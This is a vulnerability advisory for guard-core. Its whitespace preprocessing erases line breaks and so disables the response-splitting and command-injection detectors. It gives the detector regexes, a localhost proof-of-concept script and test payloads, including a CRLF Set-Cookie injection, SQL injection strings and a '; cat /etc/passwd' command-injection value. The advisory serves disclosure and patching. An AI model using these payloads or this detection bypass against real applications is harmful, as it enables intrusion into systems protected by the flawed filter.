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3.7

CVE-2026-129303: guard-core disables HTTP splitting and command injection detection

CVE-2026-129303 · published 2 days ago
Summary

The guard-core library removes line‑break characters before scanning input, which stops its built‑in checks for malicious HTTP response splitting and command‑injection attempts. As a result, specially crafted requests can bypass these protections and reach the application. Update guard-core to a version that preserves line breaks during analysis or adjust the configuration to disable this preprocessing.

What to do
  • Update guard-core to version 3.13.0.
Affected software
Ecosystem VendorProductAffected versions
– rennf93 guard-core >= 1.0.0, < 3.13.0
pip – guard-core >= 1.0.0, < 3.13.0
Fix: upgrade to 3.13.0
Original advisory text
Guard Core: Whitespace-collapse preprocessing permanently disables the CRLF-anchored http-splitting and command-injection detectors in the default detection mode
### Summary

In the default "enhanced" detection mode, `ContentPreprocessor.preprocess()` collapses all whitespace (`re.sub(r"\s+", " ", content)`, `guard_core/detection_engine/preprocessor.py:137` on master `08780f1`; `:384` in the 3.12.0 sdist) **before** pattern matching. This erases every `\r` and `\n` from the scanned value, rendering two built-in detectors structurally unmatchable regardless of input:

- http_split — `guard_core/handlers/suspatterns_handler.py:540`: `r"[\r\n]\s*(?:HTTP\/[0-9.]+|Location:|Set-Cookie:)"` requires a literal `\r` or `\n`, which no longer exists after preprocessing;
- cmd_injection — `r"\n\s*(?:bash|sh|...)\s+-c\b"` — same structural death.

The downstream application receives the **raw** value with CRLF intact (Starlette percent-decodes `%0d%0a` in query parameters before the adapter passes `request.query_params.items()` to `guard_core/utils.py:843-865`), so a response-splitting-shaped payload passes detection unflagged.

### Details

Verified end-to-end against a real uvicorn server running the fastapi-guard adapter over guard-core 3.12.0, default config:

| request (`?q=`) | status |
|---|---|
| `value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1` (decoded to literal CRLF by the framework) | **200 — missed** |
| `' OR 1=1--` | 400 — blocked (detection otherwise working) |
| `1 UNION SELECT password FROM users--` | 400 — blocked |
| `; cat /etc/passwd` | 400 — blocked |

The legacy mode (no `SecurityConfig` detection attributes) skips preprocessing and catches the same decoded CRLF payload — the gap is specific to the enhanced-mode preprocessing pipeline, which every stock `SecurityConfig` activates. Contrast: every other preprocessing step (URL/HTML/hex/base64 decode) transforms *toward* what the attacker means; whitespace collapse is the one step that removes signal the detectors were written to require.

### PoC

```python
import asyncio
import httpx
import uvicorn
from fastapi import FastAPI
from guard.adapters import SecurityMiddleware # fastapi-guard adapter over guard-core
from guard_core.models import SecurityConfig
from starlette.middleware import Middleware

app = FastAPI(middleware=[Middleware(
SecurityMiddleware, config=SecurityConfig(enable_redis=False))])

@app.get("/search")
async def search(q: str = "") -> dict:
return {"len": len(q)}

async def main() -> None:
server = uvicorn.Server(uvicorn.Config(app, host="127.0.0.1", port=8995, log_level="error"))
task = asyncio.create_task(server.serve())
for _ in range(50):
if server.started:
break
await asyncio.sleep(0.1)
async with httpx.AsyncClient() as client:
r = await client.get("http://127.0.0.1:8995/search",
params={"q": "value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1"})
print("CRLF payload:", r.status_code, "(200 = missed)")
r2 = await client.get("http://127.0.0.1:8995/search", params={"q": "' OR 1=1--"})
print("SQLi control:", r2.status_code, "(400 = detection works)")
server.should_exit = True
await task

asyncio.run(main())
# Output: CRLF payload: 200 (missed) / SQLi control: 400 (blocked)
```

### Impact

A detection bypass in a WAF/defense-in-depth layer: payloads shaped like HTTP response splitting (or newline-anchored command injection) are not flagged in the default mode, while other attack classes are. Not directly exploitable against Starlette/uvicorn-backed apps (they reject CRLF in response headers); the residual risk is for apps behind other stacks or apps that persist and re-emit the value where a CRLF-tolerant parser exists.

**Fix:** preserve `\r\n` during whitespace collapse (collapse only `[ \t]+`), or run the newline-anchored patterns against the pre-collapse content.



## Reporter validation request

The fix ships in guard-core 3.13.0, now on PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.
Fix within
Internet-facing 60 days
Internal At next upgrade
  • Not known to be exploited
  • Needs hands-on effort to exploit
  • Gives an attacker partial control
Severity
3.7 Low
Exploitation
<1% chance of attack within 30 days
Type
CWE-693Protection Mechanism Failure
Timeline
Published19 Nov 2026
Updated22 Nov 2026
First seen16 Nov 2026
Sources
CVE-2026-129303 · MITRE
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